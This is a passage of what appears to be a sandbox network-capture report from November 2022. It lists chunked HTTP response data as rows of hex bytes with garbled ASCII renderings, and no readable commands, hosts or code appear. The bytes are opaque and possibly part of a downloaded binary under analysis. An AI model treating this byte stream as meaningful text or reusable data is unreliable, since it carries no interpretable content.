1a 73 ab d9 Data Ascii: 1ff8k?z!mEM"ffH$3:RI*+UXPCIw`jt?,x~ux{JqEbeNIgJ2 dju=ZBJd7SNM[\|<~k+O9yf7?UF8a?fZ]dei0/7\|bE#r'PQo$]Bs
2022-11-29 23:11:39 UTC	320	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	320	IN	Data Raw: 0d 16 59 2a f2 0c a7 6d ed 20 36 6e b3 76 13 0b bc 07 34 ec b5 2a f7 d9 6a c5 a9 60 a7 cd f4 1f 7a 45 2b 0d ee 9f fe b2 c2 76 88 80 3d a3 9d 30 e0 8a 9f f8 8e 97 12 5a 25 16 e2 cf a8 71 f9 db b1 a4 96 19 f8 7a 26 a4 03 7c 54 e6 d6 e7 a5 df a5 44 63 e5 ba 4a d9 66 bf 30 31 76 00 85 4e 46 41 73 a3 a6 30 30 ea 32 89 d4 e5 68 cb ca 6a ec cc 19 85 db 38 42 60 87 1e bd 47 89 24 e2 d5 30 e1 7a c2 44 9e 08 e6 6e 13 2e fa 17 28 f0 1b 22 6b 69 8f f3 f4 a5 91 61 2f de f7 96 52 f9 2d e5 a8 9b 14 6b fb 5c 32 36 96 e8 ab 17 13 1e 66 b0 53 68 a5 f9 b3 ca 6b 78 fd 78 fb ab f4 15 02 46 53 aa fc d7 43 43 0e e5 5c 6b c6 f7 5f 9c 53 cd df 71 fd 42 c2 22 c6 b8 ac 4f c9 a9 98 c1 7c a5 06 a4 41 81 4b 1d 2e a8 e4 40 ff e3 a3 43 75 fd fe d2 04 1c 2b 0f 0d 91 44 64 c2 1a d0 40 06 Data Ascii: Ym 6nv4j`zE+v=0Z%qz&\|TDcJf01vNFAs002hj8B`G$0zDn.("kia/R-k\26fShkxxFSCC\k_SqB"O\|AK.@Cu+Dd@
2022-11-29 23:11:39 UTC	328	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	328	IN	Data Raw: 32 30 30 30 0d 0a ef ec e5 df b8 20 ca 24 b6 a7 e1 13 6b a0 cf 40 53 f2 bc 26 70 0c 74 38 50 22 b0 41 a7 36 26 a0 66 b6 40 77 bf c8 1e f5 8e fc 45 dd b7 9f d2 64 fd 59 64 29 96 16 90 ac 1a ea b8 36 a7 cf 38 21 ca 59 bc 25 3b 64 d2 f7 8d 88 08 bc e6 a1 f5 ef 0b 5e bb a6 98 62 ca 48 ef df e5 89 2f 5f eb e3 eb ad 83 0f 17 1d 3c 8e 91 6b ca 50 ab 1f 86 32 c6 da a4 b6 e7 61 fa df 50 f3 6c 9f 0c 11 83 7d 13 da 05 48 fb 58 39 c2 03 e9 5e fa 44 56 22 7a e2 57 59 13 1f 9d 1b 89 75 4d 37 f5 7d 07 c1 4c 77 cc bc d4 79 90 66 c2 7e 3d ef 38 88 54 b4 c9 0b b1 45 3a b3 e8 00 a0 73 09 88 ff 16 0c 4c d7 a2 a4 a6 c0 ba a3 3c f5 49 a8 b8 95 88 91 7c 30 47 c6 b3 33 39 3e 8f d3 89 ba 15 0f 81 a6 e7 68 3b 4e 6a e7 ee ae 02 b0 c4 9f 94 d9 d4 d6 6b a2 60 87 7e ba aa e9 05 e6 1f Data Ascii: 2000 $k@S&pt8P"A6&f@wEdYd)68!Y%;d^bH/_<kP2aPl}HX9^DV"zWYuM7}Lwyf~=8TE:sL<I\|0G39>h;Njk`~
2022-11-29 23:11:39 UTC	336	IN	Data Raw: 63 8b de 05 eb 3a Data Ascii: c:
2022-11-29 23:11:39 UTC	336	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	336	IN	Data Raw: 32 30 30 30 0d 0a df 2d 1a e7 44 53 ea 98 16 27 64 7e 3a 25 ff 53 9f 32 46 f7 33 86 33 f3 45 99 13 a5 09 85 ac 04 6a 16 fe 13 3a 6b b0 2c 84 e3 ce 25 50 27 2e 58 c7 03 1c bd a0 39 2a 92 1a 86 88 0c d5 c5 cc fd 83 02 c1 99 8b 1b 2c a6 f8 f7 9d 2b 81 f7 36 e3 6b 0c 48 11 1c ad 36 33 3c ec f3 d5 4e 4c 93 31 11 95 97 97 a9 0d c0 21 23 ca 92 3e 63 f4 bf 24 dd ce 12 d3 8d ce c0 ef a3 39 88 8f fe 5e 0d 1e 1e 40 d1 83 9b ca bd 51 c5 86 02 99 f6 c9 00 f9 89 28 c0 8d 53 7b 2f 76 6a de 13 4e e5 85 7b f4 52 9c 23 01 03 d1 e0 ff 58 3b 3b 0a 6c 5f 9a 8f f4 c2 3b c6 94 d3 f3 5f 76 f8 a0 24 92 6b 93 1c 1d 8b a8 54 1d d3 31 24 de 91 53 70 a8 e9 3b 1d 82 71 0b d3 ae 5e 0e d4 ed d2 46 70 2d 5f 5e e9 5b 23 38 14 d8 e5 d1 2d 27 2f dc 5d af b1 bd 54 86 8a a1 2f 18 5f 2a a1 96 Data Ascii: 2000-DS'd~:%S2F33Ej:k,%P'.X9,+6kH63<NL1!#>c$9^@Q(S{/vjN{R#X;;l_;_v$kT1$Sp;q^Fp-_^[#8-'/]T/_
2022-11-29 23:11:39 UTC	344	IN	Data Raw: 8a cf 40 f3 86 53 Data Ascii: @S
2022-11-29 23:11:39 UTC	344	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	344	IN	Data Raw: 32 30 30 30 0d 0a 10 64 53 c1 05 d6 f5 b5 33 04 b4 b0 41 ce c8 49 d1 d3 1d d8 a9 01 ad b6 75 43 42 88 a1 a6 4a 16 59 5a 91 db ca 60 49 11 06 13 56 31 d1 3b 8c 47 c4 0a 3f 19 64 0f c8 08 6d af 46 2e 53 b7 77 59 a8 74 f1 7e 6a d4 4e d0 fb 23 49 a0 15 f1 d1 18 3a 12 06 11 78 2d 01 1a 24 ce 10 ee 71 b9 dd 32 30 c2 27 be 5a 96 df ce 89 3a ec ef c0 9e 0b be d9 dc cd 17 39 27 7b e9 c6 88 2b a8 a8 cc 8d d1 4a 28 6b c8 f4 a6 89 29 1f 35 cd da 37 d2 87 61 e6 f2 52 11 58 dd be 1a f9 21 93 2b 71 02 10 e6 54 a2 9f eb b4 73 26 48 5b 28 4c b0 ff e2 5a 98 dd c0 a9 ac b2 32 0f bd 15 95 4d db 10 ca 30 64 39 e8 4e 12 cb fe aa ed fa fa dc 0a 26 ae 5d 8e 48 b1 a2 dc 08 21 9b 0e 94 14 6e 79 c2 b1 8f 11 1c 8c e0 2d 5e 97 a2 19 ed 41 73 55 60 4a e8 3d c0 b4 31 9e 5f 9f e0 69 c1 Data Ascii: 2000dS3AIuCBJYZ`IV1;G?dmF.SwYt~jN#I:x-$q20'Z:9'{+J(k)57aRX!+qTs&H[(LZ2M0d9N&]H!ny-^AsU`J=1_i
2022-11-29 23:11:39 UTC	352	IN	Data Raw: 76 7b 4d 18 56 c7 Data Ascii: v{MV
2022-11-29 23:11:39 UTC	352	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	352	IN	Data Raw: 32 30 30 30 0d 0a 6a 5c e9 61 ec d5 39 2a 00 d0 44 d9 1e 5c 6f 56 c6 22 bc f9 3e d6 8a f8 74 9b 0b f1 3e 33 9d b7 a4 ac 97 fd 91 7b b3 72 99 03 44 08 92 8c 40 95 18 be 61 78 68 76 57 af 2c 73 d8 89 9b d9 01 d1 28 7e 31 c8 8f f1 17 59 53 96 f6 77 cb 80 ca a7 d5 0f 07 2d 61 77 1a b4 7d 0b 97 52 5e 82 f4 62 c9 e7 ed 77 d3 39 9a 6e 95 bc 02 db 89 e5 83 0d 98 6f d6 dd 74 f0 73 59 14 70 9c a9 5e 22 09 6a 45 8e 72 f1 31 d8 28 a8 76 24 5c 48 fd 43 80 90 53 58 0d ca 41 f2 e2 ce d1 ac 3e cb d3 c1 40 0e b5 e6 85 af eb 89 c4 1e c7 a0 c7 7f a3 53 f2 40 2d 65 26 89 e0 4f 8e 01 11 51 e5 72 dd e3 04 4f 65 69 2a d5 23 9c 8b e4 a2 c3 b9 38 7a 7f 1a a8 98 5d 38 73 a0 55 af 55 98 78 98 be 31 19 64 ed aa 29 7c 07 fb e8 44 57 a8 b9 87 7d 76 e2 56 92 25 3b 7b ce 85 91 83 ae 9b Data Ascii: 2000j\a9D\oV">t>3{rD@axhvW,s(~1YSw-aw}R^bw9notsYp^"jEr1(v$\HCSXA>@S@-e&OQrOei#8z]8sUUx1d)\|DW}vV%;{
2022-11-29 23:11:39 UTC	360	IN	Data Raw: bf 3a 5c 6d fa 08 Data Ascii: :\m
2022-11-29 23:11:39 UTC	360	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	360	IN	Data Raw: 32 30 30 30 0d 0a 80 f4 7f 23 2e e5 f5 6c d4 58 5a d0 38 90 d5 31 f0 cb a4 aa 5c 21 cd 36 cf e4 f0 7e 21 05 14 c9 f4 94 1e 6f ac 76 cb f2 b0 55 fb fe be fc c4 3b 9e e2 79 ec 78 e7 a2 60 1e 29 b8 11 a2 ff f6 e6 f8 7a 50 b2 8f 4d 65 c3 9e 40 40 ca 3f 95 ff 5c 56 b8 28 23 a9 7f f5 66 f4 15 45 6d e1 f9 86 24 b5 f5 f0 4f ce 95 6d b5 61 8b 4c ff a1 dc ad 4c a6 3f b2 46 3d 25 87 7e 9a 00 2a d1 ef 9e de 6e 13 09 0a 12 66 60 12 1c 30 7b 2f d8 b5 3f 4f a2 30 fc 2a b7 b2 66 33 67 46 27 96 90 56 42 5e 7c 57 58 02 05 9b 02 e0 87 fe be 12 52 bb f4 d6 5f 77 4e 18 e9 f5 af a6 2d 29 6d 54 4c c7 f2 a7 d9 3e 14 b2 81 7c 88 fa f4 cf 1c 0c 09 97 4f ec 5a c6 e8 f8 f2 de 53 c5 ab 4d 75 fe ae 81 80 3c f9 3d 93 54 27 4a d7 4f f4 15 e9 18 6e f5 fc f9 37 1d 04 1b 93 d6 91 0b b4 f5 Data Ascii: 2000#.lXZ81\!6~!ovU;yx`)zPMe@@?\V(#fEm$OmaLL?F=%~nf`0{/?O0f3gF'VB^\|WXR_wN-)mTL>\|OZSMu<=T'JOn7
2022-11-29 23:11:39 UTC	368	IN	Data Raw: df 68 f9 55 a9 ec Data Ascii: hU
2022-11-29 23:11:39 UTC	368	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	368	IN	Data Raw: 32 30 30 30 0d 0a c7 7c ae 1d 5b 00 0e 5d 19 9b 81 6a 73 77 4f 27 17 bb 88 76 f0 ea b6 8d b5 69 a7 14 a0 8b 00 74 a7 28 aa a7 47 20 02 17 8f 33 89 7e 2c 09 10 53 67 5f 55 35 bd 93 63 a4 e0 62 49 1c f8 1a 15 03 0f 22 91 9d 1d 15 69 00 14 d3 34 0d 58 df 6e 13 ce f0 79 16 82 8c 35 e3 ae d0 eb dd 03 27 a8 56 53 73 d2 61 e5 2b 16 da 23 08 0d 9c 33 f3 25 03 6b 84 7d df d9 e3 fc d9 17 98 c5 5e c6 86 47 82 3b 07 cd b2 6b 3f 40 32 92 43 e3 51 07 b9 33 4d 3c 78 79 12 3f 3b c9 6c 2b 5d 44 c6 a7 03 51 c5 b8 b7 30 cd 27 49 f1 a5 e7 17 67 0c 48 c9 66 92 b3 0a f1 e1 e3 aa a4 6b ff 39 b6 e3 b5 f2 f2 dd 8d aa 89 fe 3d 3b 2c 90 8b af 26 57 d9 5c f4 17 84 c4 88 1d 45 8f eb 3c 5d bb 1c 48 7e 53 63 a7 49 65 eb 0a 39 3e 8b ad 4a 16 aa 80 97 59 99 11 dd 24 8c 83 b3 80 79 fc 97 Data Ascii: 2000\|[]jswO'vit(G 3~,Sg_U5cbI"i4Xny5'VSsa+#3%k}^G;k?@2CQ3M<xy?;l+]DQ0'IgHfk9=;,&W\E<]H~ScIe9>JY$y
2022-11-29 23:11:39 UTC	376	IN	Data Raw: 44 94 87 be 43 5f Data Ascii: DC_
2022-11-29 23:11:39 UTC	376	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	376	IN	Data Raw: 31 66 66 38 0d 0a aa 3a 84 09 34 6c 50 42 47 9a 78 4d 3c 69 9d 8a b3 04 7a 89 db b1 56 2f 6e 48 01 e8 96 9f 95 e8 b4 c7 15 47 c2 b7 d9 b9 7c 98 db de 6d 13 ce 46 f6 13 64 33 8e e7 68 12 ff c7 7e 84 49 ad 89 f3 40 54 06 1f 76 01 c3 c4 79 7c 6b 03 3c 3c 1f 8a 38 2a 65 df 51 e9 68 6c 77 66 98 e8 4e 16 cd fc 9b 69 e3 07 df ad 90 7f 96 c8 e6 dc e4 c6 9a 60 8b 8a 4a 30 0d e7 e9 fe 5d 0c 59 4c d0 8f 4e d5 f6 d4 5d 68 c0 e2 bd 85 ff 79 1f 14 ec c9 92 62 f0 73 b7 26 56 c2 f3 b8 d1 a4 bf 5b 44 43 1b f2 d5 5f 6e f8 68 9e 86 45 ea f5 7f 46 34 d8 19 65 04 2b 53 d1 ad ce 37 72 3b c1 11 97 b1 2b ce 1b 3d 23 3d f9 e4 b3 58 f9 8d c0 ea 07 a1 ba 0e e9 fb 97 c8 9c cb db 4b 2a 08 44 b8 55 05 ef a7 19 54 c0 63 a9 e8 07 dd 7a 00 c6 03 45 00 26 f5 32 f9 1d 48 d7 0f 14 2c 70 6a Data Ascii: 1ff8:4lPBGxM<izV/nHG\|mFd3h~I@Tvy\|k<<8eQhlwfNi`J0]YLN]hybs&V[DC_nhEF4e+S7r;+=#=XKDUTczE&2H,pj
2022-11-29 23:11:39 UTC	384	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	384	IN	Data Raw: 36 5e 51 4d 68 bb c3 cc 16 c2 c4 70 2b 99 36 b3 73 32 fb 29 ed f6 6e dc 7e 5d 41 24 b6 09 83 44 64 b1 1f 66 cf 92 ca fa ed 7c 32 98 c8 c5 3d 4f 9d f4 5e 42 84 71 88 4e 03 4d 92 3b ac 57 8e d5 ed 7c 46 91 ec d3 45 da d8 54 a3 c4 1b a8 fe f6 56 bd 35 54 4b 6c 22 42 80 af 4e 4d af c5 e1 56 43 a6 a4 e7 6e 63 e9 88 43 ad 86 94 3b fe 25 e2 cd 88 68 8f 09 62 7d e0 d5 e7 78 a3 67 eb 9f 4d af 5e ff f8 92 96 19 51 46 aa a4 f8 7b 26 90 b8 75 5b 64 16 1d 58 db d5 36 64 91 94 9e 59 41 6d 86 08 58 a2 eb 1c 73 cd 1d a2 7d fd 35 4d db 91 21 4d 5f 18 d4 70 a4 a6 af 6b 7c c8 5b c7 d1 2d f4 01 54 33 0c 95 b7 40 42 65 41 c8 21 33 80 49 99 4e 08 49 54 3e f7 4c 32 db 79 ff 67 bd 7f 98 84 af 2d ec df 82 e8 77 69 4f 18 e4 ac 95 22 8b f2 f7 f2 15 ca c5 75 90 76 07 53 c1 1b 87 6e Data Ascii: 6^QMhp+6s2)n~]A$Ddf\|2=O^BqNM;W\|FETV5TKl"BNMVCncC;%hb}xgM^QF{&u[dX6dYAmXs}5M!M_pk\|[-T3@BeA!3INIT>L2yg-wiO"uvSn
2022-11-29 23:11:39 UTC	392	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	392	IN	Data Raw: 32 30 30 30 0d 0a 07 aa 49 53 57 ad 9b 93 24 03 a3 b2 be 8a 1b 34 86 d9 87 b3 83 05 d7 be 12 1c 2b 97 8b 80 1f ab 29 fa 0f a1 9b 66 a4 c6 54 ab 07 88 cb a0 28 68 08 27 17 bd 4c bc 25 5b e6 bb cd c6 01 70 34 b3 ca 9c 1c af 66 d8 aa a4 dc 1a 45 be ce 3f 66 5a 05 53 50 b3 a6 8c 68 6c ae f2 f4 61 3f 1c da 74 e8 bc 3e 60 17 c7 0b 94 94 ad b3 31 c9 72 15 83 30 11 ea ed 5d 45 07 26 e4 c9 6d b0 66 8b 8d 64 dc ed 95 66 a7 54 9e a2 6d b0 d2 56 9f a0 68 e7 82 a6 3f 92 1f b5 59 9d 57 13 08 db 40 a0 1a 3c 97 ed 3e 78 09 e0 26 d4 0d 58 27 dc 68 d6 91 fc 53 f1 42 42 ad 4b 47 2a 60 ec f2 67 03 eb 1c 42 1c 70 fb 6d 02 fe 59 7e 14 e6 fd 9c 4e d8 f7 e1 be d0 07 cb 4c 46 4c 97 1a 02 82 bf 93 b5 11 02 71 b2 94 56 c1 1a f5 fe 12 e0 64 cf 6f c1 be a5 34 16 ff 14 49 03 53 23 1a Data Ascii: 2000ISW$4+)fT(h'L%[p4fE?fZSPhla?t>`1r0]E&mfdfTmVh?YW@<>x&X'hSBBKG*`gBpmY~NLFLqVdo4IS#
2022-11-29 23:11:39 UTC	400	IN	Data Raw: d8 9f 9b f3 e2 b4 Data Ascii:
2022-11-29 23:11:39 UTC	400	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	400	IN	Data Raw: 32 30 30 30 0d 0a 3c 8c f2 9a a7 7b ca 45 ac 4e 14 e5 fa c8 69 4f 0d f6 a9 8d cc b4 e0 59 a7 f3 c3 2d fb 4f fd 4a 66 c9 a9 f9 89 c3 d9 ef 9c 6b 4a 8e f8 c9 3a 90 89 f6 35 18 b6 ce 58 40 76 47 25 7a 41 97 14 02 ae 4c fc e5 5c de da 2b 8c f9 5a 23 74 7e 85 4a 07 bd 70 04 1b 93 a8 e5 e8 b1 75 68 c5 c5 b5 f4 1f 8b 36 9a d2 5b f6 c7 b6 4e 01 a8 89 16 89 b7 a3 5f ac 90 a0 d1 56 83 95 24 74 41 6a 46 67 18 52 87 d5 44 ab 16 38 83 6b 05 5b f7 49 ff 40 b1 fa a4 b8 6d 79 2b d9 b8 34 1d 21 95 44 88 5f 5a c8 2a 9a d8 54 c3 17 6a 53 b6 90 4a 4d 6b 87 12 ee 16 a6 0a 25 bd 47 8f 7b 3b 3c 51 af 31 b4 83 04 6e 88 9d ca 67 69 26 b0 90 d6 91 bf c1 f8 59 bf 92 d2 2f 6f b6 19 4a d2 e0 a5 9e a5 c7 78 30 8d 97 36 9f 15 7f 17 ea 5a b9 6e 14 5e 48 97 73 bf 13 8a 7f 23 83 a6 ac 0a Data Ascii: 2000<{ENiOY-OJfkJ:5X@vG%zAL\+Z#t~Jpuh6[N_V$tAjFgRD8k[I@my+4!D_Z*TjSJMk%G{;<Q1ngi&Y/oJx06Zn^Hs#
2022-11-29 23:11:39 UTC	408	IN	Data Raw: bb f6 a4 29 8b b1 Data Ascii: )
2022-11-29 23:11:39 UTC	408	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	408	IN	Data Raw: 32 30 30 30 0d 0a 8d e1 8a 89 fa ba 0b c6 f8 a4 f0 bc 14 61 84 b2 82 15 7f bb 94 b2 a1 c3 50 2d 67 9c 4a c5 7f b2 59 21 1e 36 26 0a 9a 88 81 59 08 ff 0b 97 bd 27 c5 07 51 33 62 e0 e4 13 be 74 70 5c ad 42 da 8f 87 72 30 5b 2c a2 43 44 d6 84 35 14 34 1b c1 f1 fb 22 ed 26 3c 3d 2c 9e 33 bc 4e e6 a5 95 49 6f 50 76 bb 57 73 67 cd 38 94 62 73 20 b4 37 c4 70 c2 e6 b0 44 b2 be 82 ee 0a 13 43 3a 17 e8 70 08 e5 2b 28 a0 6d 72 6f df 57 26 6a 14 54 6c 35 f2 8a 02 20 b3 7f d8 ca 17 93 9d fa 16 92 dc 87 1d 50 08 e7 c1 ff 5b 3f 59 c7 d9 3f 7c 6a 4b ae 75 b0 cf 0c db c8 3a 74 1e 7f 82 3a 89 4e 75 b9 66 67 13 9e 5b 96 10 d5 ad ea e4 9e 3b d5 e7 08 61 6c c8 25 06 ba f9 39 1b 2f d8 ce 4d 53 39 c5 3e 7d aa af 9b 13 c1 18 b9 01 1f 45 c1 1a e2 47 cc 21 2e 3c 6a 80 46 35 01 25 Data Ascii: 2000aP-gJY!6&Y'Q3btp\Br0[,CD54"&<=,3NIoPvWsg8bs 7pDC:p+(mroW&jTl5 P[?Y?\|jKu:t:Nufg[;al%9/MS9>}EG!.<jF5%
2022-11-29 23:11:39 UTC	416	IN	Data Raw: fb 42 4d 2e c5 d7 Data Ascii: BM.
2022-11-29 23:11:39 UTC	416	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	416	IN	Data Raw: 32 30 30 30 0d 0a a3 ce 87 33 52 58 2c 55 76 18 93 50 cc 3e 05 18 87 c4 82 be 34 17 0f da 0f 87 71 80 e4 7d ad 9c d1 4e 96 ad ff 57 ba c2 b2 8c 5a 3c 1e 57 17 8b 49 aa 9a 75 ff 5e 94 5b 5f 62 bd c0 7d 9c fa 30 28 6a e4 ec e5 cc 11 18 da ec 8b ae f5 bd ca b7 ff 4e a3 a6 53 37 6d 42 7e 23 f4 6d 01 38 64 62 fd c4 51 d9 cd 36 07 98 da ea 7e 90 83 da 35 3c 6f 13 48 77 3c 97 95 cc 2c d9 a3 95 83 31 ce 68 40 fa 1d 02 b2 f6 6d 4c 62 38 2a a3 25 6f 30 26 a3 24 6a 19 6f 04 1a 22 ff 1f ff 66 9f dc 48 c1 b4 91 42 62 c6 99 1f 01 85 55 8a 37 b3 74 7f ee 49 a7 a6 01 c8 3b fc b0 9d 66 bd 06 12 62 d3 43 b8 99 41 49 42 48 99 aa f3 94 05 5b 05 a2 02 0c 00 9e 23 37 56 f4 b6 f2 f3 8c d6 c0 1b f5 9d df 43 e4 7d 66 88 9a 86 23 4b 1e 70 71 3b 66 69 68 49 b8 c0 c1 b2 c5 b4 e2 78 Data Ascii: 20003RX,UvP>4q}NWZ<WIu^[_b}0(jNS7mB~#m8dbQ6~5<oHw<,1h@mLb8*%o0&$jo"fHBbU7tI;fbCAIBH[#7VC}f#Kpq;fihIx
2022-11-29 23:11:39 UTC	424	IN	Data Raw: 1b e3 30 17 6f fa Data Ascii: 0o
2022-11-29 23:11:39 UTC	424	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	424	IN	Data Raw: 32 30 30 30 0d 0a 93 3f 96 38 18 2b 4f e9 fa c5 86 04 f6 1a 62 ed 97 2f dc cb 4b 7b 8e 08 29 30 42 f2 8b 7d 94 3d 56 8b c0 bf 14 45 68 0a aa 43 ba fa 1b e1 c5 9d fc 43 83 2e c4 4b 3f 7b 4e 40 1f ad a2 16 6a c6 c8 b6 45 c5 91 fc ad f8 dd 2c 6b 2f aa ac 2e 0b 9c 66 7b 29 3c 1d 72 56 16 c8 4e ca d2 df 08 00 4b 01 1f 48 5c 89 7b bd 9c 4d 10 ae 0a 44 cf 74 11 ca bb a2 d1 93 c3 8a 7c 0b e3 d6 52 8a 9d c3 2b 94 0f d5 9d b1 14 f1 f2 ef 55 3d 93 bf 54 be 4b c6 9a a2 c0 31 d3 9f 71 b8 3d cd 9b 83 6c 88 e1 01 7a 4b 86 a4 d3 2a 50 87 a3 de 31 2e 9a 53 8e 94 f7 22 70 0a 74 8c ca a6 38 42 b0 a8 82 87 f6 c1 96 58 b5 1f d6 50 98 1c 86 c8 c4 61 f2 dd df 68 84 c8 e8 90 db ab 95 ec 6e 00 c8 8b f6 33 47 20 bb 1f 16 9a b8 93 66 1a 4c 53 a9 a0 2a 48 be f8 a7 60 01 50 11 1d 5a Data Ascii: 2000?8+Ob/K{)0B}=VEhCC.K?{N@jE,k/.f{)<rVNKH\{MDt\|R+U=TK1q=lzKP1.S"pt8BXPahn3G fLSH`PZ
2022-11-29 23:11:39 UTC	432	IN	Data Raw: a9 de 71 a8 c6 ad Data Ascii: q
2022-11-29 23:11:39 UTC	432	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	432	IN	Data Raw: 32 30 30 30 0d 0a c9 14 50 a6 53 c8 5e 21 fb e5 0d ee 59 98 4d 6a 87 b7 30 4b 09 b4 32 6f ed 90 08 7a 15 71 d4 c2 35 92 a9 79 32 1f f5 1e ae 4e 4f 3e 97 03 2c 6d 37 1a 89 94 b7 6f af 36 a2 b1 d2 21 5e 55 b8 b4 80 a5 e4 8d 58 89 d7 d1 30 42 3a e4 5e 5c fa e3 f3 16 48 90 ac 6e 91 ce 3a 3a 35 16 67 da 16 4e 7b 7b 25 00 ba 4e 1e dd 0f f5 d5 ed 0a b8 34 fc b9 80 0d 11 59 ba 16 92 97 c7 e0 6c 8b 5b d8 e3 e3 2c 88 f8 c0 df 28 4a 88 45 38 01 1f 06 17 c5 67 ed 00 b1 20 27 f0 85 c4 10 f1 f9 d9 46 76 fb d8 4e 50 b5 9d 6d 86 95 d7 d2 f8 88 9c f5 b6 26 6b d2 d3 80 42 30 93 33 7e 44 c4 d4 ea cd 42 02 5b 99 41 06 10 29 74 28 ac 91 df ee da de 7f d9 12 5f 00 bf 8d b9 c9 e4 b8 8b 6f de d5 cf 3f 96 bb c6 40 1b b2 a8 90 69 1a b4 1c 1e 4b 7c c4 0b 3f ec 79 bd 0d 06 a7 3c 99 Data Ascii: 2000PS^!YMj0K2ozq5y2NO>,m7o6!^UX0B:^\Hn::5gN{{%N4Yl[,(JE8g 'FvNPm&kB03~DB[A)t(_o?@iK\|?y<
2022-11-29 23:11:39 UTC	440	IN	Data Raw: 64 52 75 82 d0 30 Data Ascii: dRu0
2022-11-29 23:11:39 UTC	440	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	440	IN	Data Raw: 31 66 66 38 0d 0a 18 35 04 83 f8 fa 9b a3 3b a9 48 d8 34 df 30 cb 9c a5 02 6b 50 4b da 30 e0 d1 1e a2 bc ab 6b 52 2c 7f 15 27 c1 62 ac bc ba 30 b9 64 e5 36 93 f3 95 b7 fe fc 8a ed e6 ed 36 76 72 1f 2e d8 67 50 4e 6d 36 ee 8a 3b 4c 22 e6 e7 43 fa e2 70 51 f8 2c ec 3d cb 2c 5e b6 5a fb b9 4e 2e 3c 31 6e 23 09 0a 22 42 ed 27 7b 77 6f 0e 5f 6e 96 82 12 73 88 b0 fe 17 84 22 52 17 90 de f3 bc d5 bb f5 16 16 89 b9 2f 37 73 ab 15 e6 b5 67 42 04 a8 ab 2c ec 46 e5 c3 29 e4 c6 52 0b b8 87 64 44 34 b3 f2 89 ca bd 7d 38 21 44 c7 37 93 9c 12 4f 4c 9d 40 eb 24 3f b2 fe 65 ea 80 96 71 4f fb 29 77 ac d7 d8 44 a7 1b bf ad a7 87 1d dc cf 31 1c 95 d8 69 19 71 d5 70 b9 81 c4 3c 16 37 47 fd 81 75 bc 5b 4d 27 8e 8d e4 79 49 9d 23 07 03 10 3d 51 89 09 4e f3 94 8c 85 4d 1d 30 48 Data Ascii: 1ff85;H40kPK0kR,'b0d66vr.gPNm6;L"CpQ,=,^ZN.<1n#"B'{wo_ns"R/7sgB,F)RdD4}8!D7OL@$?eqO)wD1iqp<7Gu[M'yI#=QNM0H
2022-11-29 23:11:39 UTC	448	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2022-11-29 23:11:39 UTC	448	IN	Data Raw: 55 0d 60 d1 42 18 d7 0d 5e 12 be 5b 3e 83 23 14 a7 70 30 9d 31 d3 29 6e 73 d6 fb 63 ea 98 c6 61 f4 1f 29 6f 5e 3f 27 31 fa eb 20 e4 31 e4 37 87 94 01 60 14 79 37 9f e1 cd db 9b e7 45 88 59 05 f5 90 95 87 a4 bd 18 f3 96 7e 6a 68 43 62 ba c2 27 e0 2b 7c 1c 6a 0b 8b e9 66 d2 75 7b 34 24 9c f0 83 53 53 13 b9 01 f9 98 89 c2 a1 b2 4d b8 c5 57 7c 2b 57 e4 b9 98 6b 80 16 06 01 19 29 4c a9 72 b1 f4 23 2e dd be da c0 17 86 87 08 e8 41 23 85 a6 10 18 db e8 f4 25 b0 82 ab 65 bb a5 b0 b6 6b 35 9d 2e fb 32 50 85 2e 56 6c c3 94 bd c7 84 d8 19 7a f4 0a 09 62 9a 32 d3 92 93 32 44 da 4b 56 07 0b 0a 5c 19 72 46 af 8d 98 6a 65 1c 04 8b 86 be fc 01 ba ef 2f 29 a0 00 90 00 56 4f e6 6b 99 2c bc 1c 88 0d e7 48 32 84 ac 43 97 62 9b 85 39 12 ab 83 ec 10 20 e9 b5 ce db 08 e9 9a 5f Data Ascii: U`B^[>#p01)nsca)o^?'1 17`y7EY~jhCb'+\|jfu{4$SSMW\|+Wk)Lr#.A#%ek5.2P.Vlzb22DKV\rFje/)VOk,H2Cb9 _
2022-11-29 23:11:39 UTC	456	IN	Data Raw: 0d 0a Data Ascii:
2022-11-29 23:11:39 UTC	456	IN	Data Raw: 32 30 30 30 0d 0a 8a d7 83 00 53 81 a8 00 39 82 2c 00 c7 c6 d1 00 7f 9e c9 00 7c 88 c8 00 db a8 36 00 be 81 d0 00 ca 7f 95 00 81 7b c7 00 be a2 c8 00 31 7e 65 00 7d 81 af 00 4b 6a 30 00 7b 80 89 00 91 ae bf 00 4c 34 7e 00 5b 82 9c 00 cf 84 a3 00 28 3e 34 00 80 b0 c3 00 7e 35 80 00 cf d0 bf 00 81 80 a5 00 83 82 ca 00 30 2b 24 00 cb c4 be 00 81 a8 c2 00 5d 33 c2 00 68 83 ac 00 84 80 94 00 7e 76 d6 00 cb 8f 7f 00 d7 b9 7b 00 34 81 57 00 7c 7f 3f 00 81 8f be 00 33 81 3e 00 c3 81 d0 00 cc 7b 82 00 83 2d 5b 00 d4 c8 cc 00 8a c0 7e 00 7d cb 65 00 9d 80 36 00 d2 b5 ad 00 6c 7a 9f 00 cd 82 a5 00 c6 cf 9a 00 7c a2 c2 00 44 7b a3 00 7b ce 81 00 76 37 78 00 81 7d ab 00 3d 54 32 00 6c 2f 86 00 c2 c2 d1 00 cc 51 4c 00 51 85 3d 00 81 b4 bc 00 2b 95 6b 00 b5 